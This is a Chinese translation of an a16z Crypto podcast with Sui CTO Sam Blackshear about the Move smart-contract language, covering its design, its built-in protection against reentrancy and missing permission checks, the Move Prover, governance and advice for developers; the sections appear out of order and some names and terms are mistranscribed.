重入，对吧？发生了什么？你写了一些代码，调用了某个函数。问题在于，有人提供了一个你最初没有预料到的函数实现。为了实现这一点，函数调用必须是动态的。它必须调用代码，这基本上是由调用者提供的函数指针，可能是攻击者。如果你没有任何动态函数调用，如果你总是知道一个函数调用的目标，那么这根本就不可能发生，就像你调用的任何东西，你可能不知道代码做了什么，但是你知道它是什么，你可以测试它，你可以验证它，所有的东西都在那里。所以从根本上说，别人不可能提供让你的模块行为变得出乎你意料的代码，因为这只是一个静态的函数调用。太酷了。 a16z Eddy Lazzarin： 因此，这就消除了可重入攻击，这在Solidity开发中一直是一个永恒的问题。 Sui CTO Sam Blackshear ：是的，我认为Move基本上消除了智能合约编程中缺失的权限检查问题。有很多时候你在写一些代码时需要显式地传递所有的账户，并且你必须说，我是否有权做这件事。你写了一个简单的代码，但是却忘记了检查发送者是否是某个人，或者是否这个人可以访问它。我认为这些问题经常发生。 所以在Move中，对象所有权信息实际上存储在对象元数据中。这不是程序员可以控制的东西。 当你查看这些对象时，它们会说：“我由这个地址拥有”，或者“我由这个其他对象拥有”，或者“我是共享对象”或者“我是不可变对象”。程序员不能忘记检查它的所有者，因为运行时会在执行传入这个Sui 对象的代码之前进行检查。运行时会说：“我看到了这个交易中心，我看到了他们想要使用的所有对象。我正在检查他们是否实际拥有这些对象，或者它们拥有一个可以中转拥有它们的对象，以便他们有权使用它们。 我们要求程序员进行的许多权限检查最终都在We Run Time中发生，这些检查是不可能忘记的。我认为这非常重要，因为最难保护的是程序员没有告诉你的规范。这些规范很容易被忘记，使用静态分析或其他方法很难捕捉到它们，因为你总是需要一些人来确定哪些规范很重要。 主持人 Sonal Chokshi： 顺便说一句，在远期或近期的长期规划方面，当人们以这种方式更多地合作时，企业规模会发生什么，我认为这将非常有趣，因为它显然是分布式的，不仅仅是一个公司，有时人们会合作。但我的意思是，当你考虑现在的老旧方式，你有像开发人员和所有这些最佳实践和所有这些方法。然后你有这些非常不同的思维方式来做事情，我们还没有完全在这个世界中将所有这些正式化，这还为时过早，但我非常好奇这种事情会是什么样子。 a16z Noah：现在EVM的工具很好用，那么Move的工具怎么样呢？还需要进行哪些重大改变吗？ Sui CTO Sam Blackshear ：我认为我们的工具还处于很早期的阶段。我们正在开发一个包管理器，可以跨链使用，像Create.io或npm一样。Move的模型系统非常适合这种事情，我们正在努力实现这个目标。这个包管理器可以让开发者轻松分享他们的代码，这在Solidity中很难做到，因为在Solidity中，只能通过复制粘贴的方式来分享代码。 我们还在最初的时候就专注于正确性工具的研发，我们有很多这样的工具，但我认为我们还有很多事情要做，使它们更易用。我们有一个单元测试框架，我们可以直接在Move中编写测试。我们也开发了Move prover，用来辅助我们做形式化验证。 Move Prover 的重要性 主持人 Sonal Chokshi：能否简单谈一下形式化验证以及为什么Move Prover很重要？ Sui CTO Sam Blackshear ： 形式化验证很具有挑战性，通常需要专家或者博士来使用。我们正在努力将它推广到每一个日常开发者，而不需要专业知识。 目前还不清楚这个目标能否实现，但我们看到了一些很有前途的项目。比如，最近有人将一个智能合约的所有规范提交到了一张文件中，之后只需要为新函数写规范，这就使得形式化验证变得非常容易。不过，形式化验证还有很多需要改进的地方，包括提高易用性和功能强大程度。 还有像fuzzer这样的工具，虽然不如形式化验证好用，但对于一些重要的正确性检查非常有帮助，特别是当你需要写一些非常复杂的代码时。我们也有一些学术界的库在研发这些工具。除此之外，我们也正在研究如何让编写程序变得更容易，比如支持更多集成开发环境、程序合成和人工智能等。 主持人 Sonal Chokshi：如何使用Move Prover？如果我想试试它怎么办？ Sui CTO Sam Blackshear ： 首先你需要拿到你已经测试过的程序。验证不是测试的补充。然后你可以编写一些很难测试或很难检查的内容。这可能是一些简单的函数前后条件。比如说，如果我的函数输入满足这个条件，那么输出应该满足那个条件。你还可以编写数据不变量，比如你有一个计数器，你想证明它总是在增加，你可以编写一个规范，将其附加到计数器结构中，以检查它是否成立。 然后它会查看所有的函数，并确保这些规范都成立。还有更高级的用法，比如全局存储和变量。你可能想说，这个对象始终只有一个，或者这个对象有两个，然后有三个。以及这个对象的字段和那个对象的字段之间的关系。这些规范很大程度上取决于应用程序。 Move语言可以避免很多基本的错误，但对于你作为程序员来说，总会有一些特定于你的应用程序的正确性条件。规范语言使编写这些条件变得容易，可以在编写代码之后或某些情况下甚至在编写代码之前编写它们，并确保它们在所有可能的程序执行和所有可能的函数调用中都成立。 因此，现在，规范语言与编译器集成，因此您可以在任何这些模式下提取它并尝试使用它。它还与构建系统集成。您只需要执行move build -prove，它就会检查这些规范。 a16z Noah：酷！Prover能理解Sui 对象模型和Sui交易系统吗？比如，我能否证明关于跨交易的一些可能修改全局状态的内容？ Sui CTO Sam Blackshear ：它还没有完全理解，但它并不需要完全理解。例如，如果你想证明计数器始终在增加，这是一个Sui对象，但是它不需要完全理解Sui就可以证明。即使在核心Move的prover中，它也真正考虑对象和全局存储的层面，而不是像交易这样的概念。因此，今天它确实只能考虑函数和事务的层面，这也能够正常工作。但我想我们将来可能会在Sui方面做更多的事情，特别是关于父子关系和异构对象映射。 编程语言的治理 主持人 Sonal Chokshi： 我们可以谈谈编程语言的治理吗？编程语言的演进有着悠久的历史，但是在区块链和加密货币的背景下，治理话题显然更加重要，因为有许多其他方面需要考虑，如分权、开源、分布式社区、令牌和经济学资产等，这有时作为激励计划的一部分参与其中。 a16z Eddy Lazzarin： 特别是因为它们是开源的，能在许多不同的上下文中使用，它们被视为公共物品，但它们不同，需要设计和细节的关注。编程语言应该如何发展？今天有很多编程语言似乎都有不同的治理方式，如我所想到的前两个是C++委员会和WG21委员会，还有一些非常复杂的名称。 然后像Python，Guido是它的生命之恩人，拥有 benevolent dictator for life。那么，您认为什么是现代化的编程语言治理方式？特别是在加密货币领域，这是一种独特的情况，因为这些编程语言可能与层一相连，这是一种依赖于编程语言的不同类型的东西，它是一种公共物品，但是它有利益相关者，它有大量的资本附加值，有许多价值正在传递。也许有一些编程语言的治理模式更适合区块链。我对思考编程语言应该如何治理或更好地说，移动如何发展，考虑到所有巨大的利益相关者和设计语言保护其安全性质的重要性非常感兴趣。 Sui CTO Sam Blackshear ： 嗯，我不会认为我的见解适用于其他编程语言。但对于Move来说，我有一个非常具体的看法，就是这种跨平台的愿望。Move 被设计为一种跨平台语言，其中一些链EDM 的基本功能仍应适用，并且覆盖了智能合约开发能手和Web2新人，极具灵活性。 除了对程序员和平台设计者的好处外，治理是另一个原因，几乎所有区块链语言中的有争议的决定，例如：我们应该增加这个限制吗？或者我们应该支持这种签名方案吗？或者我们是否应该拥有这个库？我们试图将其设置在适配器层，即构建在语言形式之上的平台，而核心语言非常简洁。简洁性是我们语言的关键设计原则之一，非常不依赖于区块链。 因此，如果我们要与社区的利益相关者进行辩论，它不会像“我们应该增加gas限制”这样的问题。而是像“我们应该拥有电子邮件”这样的问题，这是一个更纯粹的设计问题，可以受到来自一个或多个Move平台的问题或用例的影响，但不太可能朝着对某个利益相关者有利而对其他人不利的方向发展。到目前为止，这种模式一直运作得很好，但我们还需要看看未来会发生什么。 基本上，Move语言的治理方式是，最初，Move是在Facebook开发的，没有真正的治理。它只是我们使用它的方式，虽然我们有这些设计原则。 现在，团队分散了一些，我们有很多来自不同机构的成员。有些人在我们这里，有些人在其它地方。有一些来自学术界、安全社区的第三方贡献者，还有一些Move链的星际币等其他机构。我们每个星期四都会开会。 我们会讨论Move的设计问题，我们非常谨慎地扩展语言。简洁性是主要的东西，但我们会积极地扩展它。 比如，添加这个东西会使在Move之上的这些层次的实验更容易进行。一旦我们看到这些实验的结果，或者每个人似乎都在做同样的事情，那么我们就会将其移到核心语言中。因此，我们对治理的答案是：尽可能避免治理，通过让有争议的事情发生在Move之上的层次，以及将简洁性作为核心原则之一，使我们在仅当每个程序员都需要某个东西时，才添加新的内容。 主持人 Sonal Chokshi：你们作为程序员，对于另一面的事情，比如Noah，你们真的在乎吗？比如说你选择使用什么工具，怎样参与？你们在意社区或者编程语言的治理吗？还是只在乎你们获取所需的工具？ a16z Noah：我认为在一定程度上是有关系的，比如你想使用一个被很多人使用的语言，这样你就可以得到更多的贡献者，对吧？你也想要一个不会被抛弃的语言，对吧？那些应该是主要的考虑因素。 但是，我并不在意Python是由独裁统治还是委员会治理，只要能够达成目标就好。尽管我认为很多人不在意，但是有很多争论表明由委员会治理已经破坏了很多编程语言，我想。 主持人 Sonal Chokshi：是啊，我一直觉得很有趣。 Sui CTO Sam Blackshear ：我认为这很重要。我有一些技术上的设想，比如跨平台的程序和资源，以及这些东西应该有的大致想法。但是这是一个社区项目。很多贡献者为设计的很多方面做出了贡献，我并不是Move或任何其他东西的独裁者。但是，我认为我的角色是策展人，确保每个人都在同一页面，并确保在想法涌现时，我们根据这些原则进行评估，这些想法可以来自任何人。 但是最重要的是我们有共同的愿景。每种语言都略有不同。我认为它们固有地反映了它们的用途、创建者和社区的个性等等因素。所以肯定不会有一种适用于所有的规则。 主持人 Sonal Chokshi：对，完全没问题，这很有道理。 Sam怎么进入Move的 所以在我们结束前的最后几个问题里，我突然意识到我们从来没有听过Sam怎么来到Move的。我主要感兴趣的不仅仅是因为我想听你的故事，我相信它很棒，但我更感兴趣的是你是如何通过思考去解决问题的。所以你能快速分享一下这个过程吗？当然可以。 Sui CTO Sam Blackshear ：我开始作为一名编程语言研究员来进行职业生涯。我从事静态分析和程序验证的工作，这意味着我花了很多时间看真实的程序，寻找漏洞，并尝试弄清楚程序员经常犯的错误类型是什么，以及导致这些错误的原因是什么。是语言的基本问题使得某些类型的错误过于容易？是他们使用的框架的问题？还是仅仅是有关人类心理学，使得某些类型的错误比其他错误更容易被发现？ 基本上，在我的博士期间，我花了很多时间研究真实的程序，查找漏洞，然后构建这些工具，试图在不运行代码的情况下查看代码并尝试在之前捕捉这些错误。而这种事情在一般情况下是无法解决的。你在进行静态分析时，总是在与停机问题作斗争，但在实践中，你可以无限地接近完美的结果，而不是在理论中得出平均结果。所以我花了很多时间做这件事，看了所有经典类型的漏洞，如空引用、缓冲区溢出、安全问题等等。我真的很享受这个工作，但是很难找到这些例子和很多人真正关心的数据集。 但是在我博士的最后阶段，我在Facebook实习。这是在2013年到2014年左右，他们正在从Web世界向移动世界过渡，并且发现当我将漏洞发布到移动应用中时，它会在那里存在两周，而在Web中，我可以立即修复它。当我加入后，Android上的分裂问题是造成问题最严重的问题，因为这会导致无法修复的漏洞。他们在静态分析技术上进行了大量投资。他们从我的领域收购了一个研究小组，我有机会与他们一起工作，并继续我真正喜欢的工作。但是，与其 结束于单个程序的漏洞修复，我开始思考如何设计一种语言来使这种漏洞更难以产生。我对语言设计和程序安全方面的兴趣越来越大，开始产生一些关于如何构建更安全的语言的想法。后来，我在2018年加入了Libra项目，这是一个构建基于区块链的全球支付网络的项目，我被征用为编程语言方面的专家。这个项目需要一个新的编程语言，因此我开始着手构建Move语言，并使用我之前的经验来解决一些语言设计上的挑战，例如如何确保Move智能合约的安全性和正确性。 主持人 Sonal Chokshi：所以Libra 也被重命名为diem，这是今天很多人可能知道的。还有一个快速的提醒，你的博士论文的实际主题是什么？ Sui CTO Sam Blackshear ：我的博士论文主要研究目标导向的静态分析。通常，在进行静态分析时，你会查看整个程序并构建有关程序的事实数据库，然后通过获取该事实数据库来查找漏洞。这种方法很有效，但对于非常大的程序而言，不太容易扩展，因为你必须查看整个程序并做所有事情。而你可能有一个非常具体的问题，只关注程序中的一个特定部分。例如，如果你正在运行分析器，并且在CI中报告漏洞，你真的想要报告在该pull request中发生的漏洞。对程序中的其余部分不是很关心。 在我的博士论文中，我研究了目标导向的静态分析。这意味着我希望静态分析的效率可以随着我关心的特定属性的复杂性而扩展，而不是随着输入程序的大小而扩展。如果这个属性非常简单，只需要进行简单的推理就可以确定其安全性或漏洞性，我希望它非常快。或者如果这需要查看整个程序进行推理，则相应地会更慢。这是一件有用的事情，因为静态分析的一个主要问题就是非常慢，特别是当你在运行像巨大的几百万行程序时。我在这个静态分析子领域中研究了一个新的理论，称为抽象解释，旨在使抽象解释更具目标导向性和属性导向性，从而提高效率和精度。 主持人 Sonal Chokshi：非常有趣。你提到你在背景中也对心理学很感兴趣，当你设计你的博士研究以及现在的工作时，你可以快速介绍一下程序员的心理学吗？因为你没有满足我的好奇心。 Sui CTO Sam Blackshear ：当我在2018年来到Libra时，我们基本上需要在Libra中建立智能合约，你需要想出这意味着什么。你不能在真空中进行推理，就像语言基本上是问题解决工具一样。所以我看了很多Solidity和智能合约代码。我想知道程序员用这些东西做什么？语言在哪里帮助了他们？在哪里妨碍了他们？这个问题的主要结论是基本上所有这些程序都在试图做同一件事。 他们试图谈论资产，试图转移它们，试图定义它们。但是代码编写的方式总是如此间接。这就像一种粗暴的设计练习，你试图谈论这件事，但是没有词汇来表达它。这就是心理学的元素，我可以阅读程序并思考，这个人在想什么？在他们的头脑中，相对于他们实际编写的代码？这个翻译层中的障碍是什么？语言如何通过提供正确的抽象来帮助他们？这些问题没有客观的答案。这就像我也是程序员，我会怎样编写这段代码？或者我会发现什么直观而什么困惑？ 所以基本上，决定创建Move而不是在EVM上构建或使用现有语言是因为，正如我们之前所说，这种智能合约需求与其他任何东西都非常不同，使用现有语言没有所需的抽象或特征是没有意义的。 如果你在EVM中使用Solidity之类的东西，这是这个领域的第一次尝试。因此，它没有合理地预测出人们将要尝试做什么。所以我认为我们有所有这些第二移动者的优势。我们了解人们想做什么，什么效果好，什么效果不好。我们应该利用这一点来打造一个新的语言。说服人们需要构建一个新的编程语言是一个有趣的旅程，我们可以在另一个时间讨论，但是有人告诉你你应该说不。很多人对Facebook是否有这种尝试的愿景持有合理的怀疑态度。 主持人 Sonal Chokshi：有趣的是，感觉这几乎是你能够回应的唯一地方，而且甚至更好的是，你们现在可以将其带离Facebook并继续前进。实际上，对于它的诞生和发展来说，这几乎是理想的条件。事实上，这对于它们两者都是一个很好的机会。 Sui CTO Sam Blackshear ：完全是意外之喜。 主持人 Sonal Chokshi：那就很好了解了。 给智能合约编程语言开发者的建议 最后一个小问题，如果你们有一个建议想要给那些想要了解智能合约编程语言或已经在这个领域的人，如果你们可以用两秒钟的时间给一个建议，你们会说什么？ Sui CTO Sam Blackshear ：阅读大量代码，了解代码的目的以及底层代码实际上是如何做到这一点，它做得好和不好在哪里。 主持人 Sonal Chokshi：为什么？简单地说？ Sui CTO Sam Blackshear ：我认为这是了解语言的最佳方式，它是一个很抽象的东西。 但是，如果你从某个东西开始，只是试图弄清楚如何做到这一点，我认为这是一条更具体的路线，也很容易从中进行概括。好的。 主持人 Sonal Chokshi：艾迪，你有什么建议吗？ a16z Eddy Lazzarin：这是个好问题。我完全同意Sam说的。我还想补充一点，因为我们还处在早期阶段，人们都喜欢分享一些有趣的东西，比如在区块链上编程有多么疯狂。有很多人非常乐意分享，乐意深入探讨。每次我在任何一个大型的社交群或者任何一个论坛上有问题的时候，人们总是乐于和我分享。所以我会建议大家找到那些你真正喜欢和他人分享你的代码，一起构建开源社区的人们。 a16z Noah：我的建议是，如果你有任何工作流程中经常使用的工具，无论是编译器、测试工具还是其他任何可以让你的工作变得更轻松的工具，你都应该学习它的工作原理。并且，每当你发现一个bug，就去修复它。成为开源软件的好管理员。 主持人 Sonal Chokshi：你们说得非常好。再次感谢Sam、Noah和Eddie参加本期Web3@ACM的节目。非常感谢你们。 不管怎样，祝你们有美好的一天，再见。感谢您收听 Web3 与 A16Z，您可以在我们的网站 a16z.com/cryptopod 中找到展示音频的音频剪辑、文字稿和更多资源。 去年 a16z等一众机构力捧以Sui 为代表的 Move 公链，让 Move 语言在 Meta Diem 的废墟上大热归来；与此同时，从SuiMove 出现那一刻起，不看好的声音也一直存在： 如果仅仅是因为 Move 语言有可能比 Solidity 或其它开发语言更优秀，我们就一定需要一个新的智能合约语言，并乐此不疲地从头开始搭建一个新Layer1吗？ 近日，a16z Crypto团队与 MystenLabs 的联合创始人兼CTO 、Move语言之父Sam Blackshear 进行了一次主题为《Programming Languages & Crypto》的播客对话，探讨了为何 Move 是未来智能合约的重要方向。 在该次播客中，a16z Crypto 与Sam Blackshear 从传统编程语言与智能合约编程之间的差异和相似之处到辩论区块链的独特限制和机遇，展开讨论了Move语言的设计思想、面向对象和资产的编程、安全性，以及分享了形式化验证、治理和社区工具、跨平台适应性等话题。 主要分享内容包括： 1、编程语言与智能合约历史 从传统编程、到智能合约编程，再到Move编程。Move是最早的关于如何设计语言以适应类型系统、静态类型和编译时检查等问题的语言。 2、Move 智能合约的创新 EVM 过度适配了平台的实现细节，这些实现细节是为以太坊设计的。开发者最终不得不继承以太坊做出的许多设计决策，包括一些让以太坊难以扩展的错误。 Move在设计时，没有将任何区块链特有的东西加入到核心语言中。源代码语言层面的创新将会相当重要，Move最终能够提供的是代码验证器和VM级别的保护，以免受其他程序员的攻击。 3、Sui Move的设计思想 Move 是一种可执行的字节码语言，用于执行用户交易和智能合约。在Sui Move 中，验证者可以更有效地进行并行化，这使得存储、执行都变得更容易，而不必将这些东西编码到协议级别，并让用户和程序员来考虑。 4、安全性 在智能合约世界中，我们处于一个约束状态。我们编写非常少量的代码，而且必须完美无缺，安全性必须是最首先要考虑的事情。Move 安全性是既要防止程序员自我脚踏，还要尽可能为他们提供正确的原语，以便他们能够防御攻击。 5、面向对象和资产 Move 被设计为一种面向对象和资产的智能合约编程语言，之所以被设计成这样，是因为大多数 Web2 面向对象的编程语言就是这样。在Sui Move中，将事物的中心点放在对象上，高度激励能够尽可能精确地表示细粒度访问。Sui Move 全局存储的结构是一个从对象ID到对象ID的映射。 6、安全性对比 Move 通过构造消除了重入和智能合约编程中缺失的权限检查问题。Move中，对象所有权信息实际上存储在对象元数据中，这不是程序员可以控制的东西。Move Prover 就是为了防止语言编写智能合约的错误而设计，可以避免开发者犯很多基本的错误。 7、智能合约语言的治理 最初，Move是在Facebook开发的，没有真正的治理。我们非常谨慎地扩展语言。简洁性是最主要的东西，但我们会积极地扩展它。Sam Blackshear 有一个非常具体的愿望，比如Move 被设计为一种跨平台语言，其中一些链EDM 的基本功能仍应适用，并且覆盖了智能合约开发能手和Web2新人，极具灵活性。 8、给开发者的学习建议 阅读大量代码，这是了解语言的最佳方式。乐意分享和深入探讨，并找到那些真正喜欢和他人分享你的代码，一起构建开源社区的人们。任何可以让你的工作变得更轻松的工具，你都应该学习它的工作原理。 以下为播客全文，全文约25000字，阅读时间约30分钟。 整理翻译：Sui World 主持人 Sonal Chokshi 介绍 欢迎来到Web 3.0，这里是a16z Crypto团队制作的关于建立下一代互联网的节目。我是您的主持人Sonal Chokshi。 本节目旨在为寻求了解和深入探讨加密和Web 3.0相关事物的任何人提供帮助，无论是开发人员、创作者、建筑师、企业领袖还是政策制定者。我们现在开始全新一季的节目。今天的节目主要讨论编程语言和加密货币，既适用于现有的智能合约程序员，也适用于其他寻求进入这个领域的开发人员。对于那些对编程语言的演变和出现感到好奇的人来说，这也是一个不错的选择。 我们今天的特别嘉宾是 MystenLabs 的联合创始人兼CTO Sam Blackshear ，该公司正在为Web 3.0的去中心化未来打下基础。Sam在编程语言方面有着资深的历史，从他的博士学位到在Facebook工作，再到创建并成为Move和开源编程语言的作者，用于构建智能合约。我们将更多地谈论这个话题。 在整个节目中，我们还邀请到 a16z Crypto的智能合约研究工程师 Noah，他和另一位伙伴最近为以太坊开发了名为 Helios 的轻量级客户端并赢得了具有挑战性的gas优化。 我们还邀请到 a16z Crypto 的工程师负责人Eddy Lazzarin ，在此之前，Eddy 在 Netflix 从事软件工程，在 Facebook 从事数据工程和数据科学。需要提醒的是，以下内容均不构成投资、商业、法律或税务建议。 1、编程与智能合约的历史 主持人 Sonal Chokshi： 我们将从传统编程的历史开始，第一个发言的是Noah，接着是Sam Blackshear 和 Eddy。 a16z Crypto Noah： 我们想了解编程历史如何影响智能合约编程的历史，因为我觉得有三个东西，传统编程、智能合约编程，还有Move语言。这三件事都有它们自己的历史，对吧？ Sui CTO Sam Blackshear： 没错，我喜欢这种框架。人们用语言来设计语法或让人感到开心，这是对的，但它不仅仅是这些。所以我很喜欢这种大局观的框架。 a16z Crypto Eddy Lazzarin： 就在这个基础上，传统编程有着过去二三十年来的各种趋势。传统编程语言已经发生了变化，有一些热门话题来来去去。曾经有很长一段时间，动态编程语言和非常宽松的类型检查是非常受欢迎的。通常认为，跳进去，忘记类型，忘记所有技术细节，只是编写代码是更符合人体工程学的方式。 Sui CTO Sam Blackshear： 但最近，人们开始更深入地思考类型系统、静态类型和编译时检查等问题，以便在程序运行之前尽可能了解程序的所有细节。这些趋势不断变化。然而，对于智能合约编程来说，由于它是如此新颖，我们还没有看到智能合约编程中这种类型的历史，这是非常不同的。 我认为Move语言是我们所看到的最早的关于如何设计语言以适应这一点（类型系统、静态类型和编译时检查等问题）的证据。我很想了解我们期望会发生哪些变化，例如静态和动态类型等智能合约编程中可能出现的话题？这些话题可能还没有出现，因为目前只有一种语言，即Solidity。 主持人 Sonal Chokshi：那么，这又与转向智能合约编程有什么联系呢？再次请Sam回答？ Sui CTO Sam Blackshear： 在这个智能合约空间中，随着EVM作为智能合约语言的第一批进入者，存在着不同的趋势。人们不知道想用智能合约做什么？我们如何编写它们或任何这些类型的事情因此，我认为灵活性更加重要，以尝试了解需要发现使用情况的专家的类型。我感觉现在我们已经知道了，或者至少我们对构建块有一些了解。 智能合约的趋势是极其领域特定的，你为资产定义模板，定义转移资产的策略，检查访问控制和权限。 这就是基本的，你不会用智能合约语言编写编译器或操作系统或任何这些类型的事情。因此，它们非常非常好，它们与通用编程语言相比的优势。 我认为人们低估了即使ERC-20标准发生在 EVM 可以编程的很久之后， EVM 甚至被认为是编写以太坊程序的基本构建块之一。我只是没有看到任何显而易见的证据，证明最基本的东西在此之前是明确的。 所以你是对的，现在你可以把类型当作理所当然的事情。我认为类型和这些东西的绕过，是可以承受一定技术债务的。如果规模很小，你只想快速移动，而且代码可以扔掉，那么这种技术债务是完全可以接受的。但有趣的是，你把它用公司或创业公司的规模来描述，小公司在快速成长，每个人都能理解整个代码库，这种技术债务是可以容忍的。 但是，当它非常非常大时，有大量的人更改代码，他们不知道正在构建的新对象和系统的后果。将其放入类型系统中，使您以明确、直接的方式编写代码时遇到障碍，而不是意外地创建后来有人会撞上的玻璃围栏。 例如，就像你们谈到的，能够防止复制，能够设置资产的最大供应量。这些约束非常重要，无论项目的规模如何，都需要保持。它们是维护项目的健全和安全非常重要的约束条件。了解这些界限意味着您现在可以创建编程语言，以允许您强制执行它们。这就是我如何看待Move语言的方式。 随着我们了解到需要做正确的事情所需的约束类型，我们现在有能力将它们包含在语言本身中。因此，我确实认为它与类型有些相似，就像你所说的那样。 你提到类型对于程序的健全性和安全性非常重要。你们说动态类型可能适用于小型项目，但随着项目的增长，应该使用静态类型。我有点不同意，我认为完全静态的类型可能更适合。这可能是一个新颖的看法。它是为了程序员的健全性。我见过最可怕的事情是，当我按下我的快捷键“control k”时，它会告诉我函数签名是什么。当我写Python时，这让我感到恐惧。我看着函数签名，只看到参数的名称。我就像，你到底想要我做什么呢？ a16z Noah：我不敢相信人们会接受那种写出代码后就永远不会再看一眼的写法。 a16z Eddy Lazzarin：他们接受的是默认假设，即他们可以在心中记住系统的要求。 a16z Noah：但是即使是100行的程序，我也觉得无法默认这一点。 Sam Blackshear ：它可以运行，但它并不完美。 a16z Eddy Lazzarin： 我认为你们说的对。而且我认为这种心态已经演变了。以前，类型系统是用来保护程序员免受同事伤害的。当你的创业公司变得太大时，它就很有用了。但现在它更像是在保护我自己。 在智能合约的环境下，它是在保护我免受攻击者的攻击。这是真正的不同之处，因为在普通程序中，你不会在攻击者受到类型系统的约束时部署程序。攻击者可以使用其他语言编写机器代码。你只需要保护你自己的防火墙就行了。但在这里，我编写这个很好的类型对象，它将流入攻击者的代码并保持其完整性。类型系统必须保证我的安全。 就像你说的那样，这是一个很棒的工具，它给你带来了不同的需求，你需要强制执行它们，比如防止复制。这不是你在普通类型系统中需要考虑的问题，或者防止删除或确保你按某种方式使用或销毁某个值。这些都是因为我们正在研究智能合约并试图为这些用例提供有意义的类型系统，因此我们最终会将这些东西加入move中，也可能会加入未来的智能合约语言中。 主持人 Sonal Chokshi： 实际上，伙计们，让我们更多地谈谈传统编程和智能合约编程之间的其他差异。但在我们进一步讨论之前，你们能不能快速介绍一下智能合约程序员可以使用的语言呢？我认为我们需要了解一下大局，因为我想了解一下现状，比如Solidity、Viper等。知道哪些内容能够让我们更快地入门。 Sui CTO Sam Blackshear ： 是的，我想基本的情况是，如果你想编写智能合约，你几乎总是会使用solidity。除非你恰好在几个其他较小的生态系统之一。 如果你在Polkadot生态系统中，你会使用ink!（ Sui World 注：ink!是由Parity开发的智能合约语言，用于在Rust中编写智能合约并编译为Wasm代码），它是一个现有的编程语言。如果你在StarkNet生态系统中，你使用Cairo （Sui World注：Cairo 是STARK 证明系统的其中一个编程语言）。 但是大部分情况下，如果我要给出建议，让你学习如何编写智能合约，我会建议你学习一些Solidity，然后学习EVM。你可能还想使用Viper，唯一的缺点是Viper是较新的，可能更容易出现漏洞。我记得几年前，在验证存款合约时，他们发现了Viper编译器中的一堆漏洞。发现这些漏洞的人现在在16z工作，他是Day June，他是一个形式验证专家。 因为Day June是形式验证专家，所以现在在a16z工作。而现实情况是，你需要学习一些内容，你需要学习一些语言。 你甚至需要深入了解EVM，如果你想成为一个真正优秀的智能合约工程师，你需要了解EVM到一个荒谬的程度，以至于你可以说出每个操作的gas成本，他们能够告诉你确切的与gas成本有关的代码。这就是我们目前生活的世界。 a16z Eddy Lazzarin：也许有一点值得一提的是，作为一名软件工程师，你总可以了解你正在运行代码的机器。有很多需要了解的关于编程环境的知识。但是在智能合约编程中，环境非常丰富、非常复杂。有很多上下文需要了解，这几乎与语言本身无关。这就是在你周围发生的事情，周围有哪些对象，不同的代码如何被调用。这是一件非常奇怪的事。 主持人 Sonal Chokshi：那么，最接近学习Solidity的人是懂JavaScript的人，这是真的吗？ Sui CTO Sam Blackshear ：大家都说是JavaScript，因为它使用“function”这个关键词，就像JavaScript也用到了。但不幸的是，它们并不是非常相似。 a16z Eddy Lazzarin：从语法上看，Solidity确实继承了很多JavaScript的特性。如果你眯着眼睛或情绪不好，可能会觉得相似，但实际上完全不同。虚拟机环境差异巨大，所以共同点很少。 主持人 Sonal Chokshi：有什么相似的编程语言吗？ a16z Noah：是的，我认为没有直接相似的编程语言。如果你熟悉Was（Sui World注：WebAssembly Studio，一款在线工具，用于将C/C++ 和Rust 代码编译为WASM 格式。），并试图在一个需要高度隔离的环境中写代码（比如Surplus），这可能是最接近的了，这些代码要独立执行，但又需要一定程度的通信。但它仍然不是很相似，思维方式完全不同，表面上的相似可能会有危险。 a16z Eddy Lazzarin：也许相关的是编程语言历史上的一些重大错误。我不知道在区块链方面是否有一些走下了错误道路的恶劣历史。我们是否走了一些可怕的道路？ 主持人 Sonal Chokshi：这是个好问题。 Sui CTO Sam Blackshear ： 这是个好问题。1977年，C语言发布，也是Standard ML发布的年份。Standard ML具有极大的影响力。现在，有OCaml语言、Rust语言都受到其极大的影响，Move语言也受到其影响。但这些思想已经存在了很长时间。我想很多人都在思考一个替代的未来，在那个未来中，C语言没有成为主流，而是Standard ML的思想被广泛接受，如强类型、内置安全性。 主持人 Sonal Chokshi：那么，这种计算机技术的发展趋势是什么呢？我并不是说这是一个错误，但是我认为像Standard ML 这样的语言即使在今天看起来也非常现代化。想象一下那个另类的宇宙是一个有趣的事情，当我第一次发现时就被震撼了。 a16z Eddy Lazzarin：好奇心作祟，为什么你认为像C语言以及类似的语言，它们如此直白、如此命令式？它们在相对较低层次上思考计算机，作为编程语言它们并没有做很多事情，这就是我对 C语言的看法，为什么我们走了这条路？ Sui CTO Sam Blackshear ： 我认为当时的硬件限制迫使你使用C语言，如果你想要编写高效的程序，或者推动计算机的边界，我认为如果你向前推进硬件，你会选择另一条道路。但是我认为，函数式编程很难，它在很多方面都是反直觉的。我不是说C语言不难，但我觉得它更容易入门。然后你意识到，我已经做了非常复杂的事情，或者说很难推理，但是为时已晚。这是个好点子，函数式语言确实有更陡峭的学习曲线，但是一旦你掌握了，你会意识到，我可以很好地独立地思考我的代码，事情很好地解决了。 a16z Eddy Lazzarin：我认为如果你很多地思考计算机是如何在硬件层面上工作的，那么像C语言这样的语言就更直接了。但如果你对编程语言不是很了解，那么C语言就更容易入门。但是如果你非常了解编程语言，那么我认为 ML 和函数式编程这些类型的语言有更多的东西值得去探索。 Sui CTO Sam Blackshear ： 这是一个大局观的答案。但我想说的是有关小规模的“计算机语言错误”的问题。 a16z Noah： 所以，我对此有些犹豫，因为我一直听说函数式编程有多棒，但是我发现有点难以理解。但我一直想知道的问题是，如果函数式编程真的那么好，为什么它从未能够克服当前编程语言的网络效应呢？它的这种局面令我惊讶。 但我想补充的一点，我认为函数式编程给我们带来的巨大贡献是，我们使用的所有命令式语言都是借用的。但最好的是，就像你刚才说的，Rust受标准电子邮件的影响很大，但Rust基本上是一种命令式语言，对吧？但它拥有所有从凝视他们而来的奇妙的仙尘。 Sui CTO Sam Blackshear ： 总的来说，我认为真正的问题是，从1977年开始，命令式语言的影响力太大了。然后是PRFP，正如你所说，它不是最伟大的，它有自己的伟大想法，孤立地看，每个人都有自己的问题。我们现在只看到像 Rust 这样的真正的混血儿漂亮地嫁给他们。它真的改变了景观。 所我想提的一件事是，就是Tony Hoare 称之为节点引用的十亿美元错误。虽然他当时可能是想夸张一下，但显然这个错误带来的代价比不犯这个错误更加昂贵。 a16z Eddy Lazzarin：不，这可能只是下限。 2、智能合约的创新发展 a16z Noah：我其实很好奇你没怎么谈虚拟机层和编程语言层的创新，以及它们如何影响智能合约的发展。 Sui CTO Sam Blackshear ： 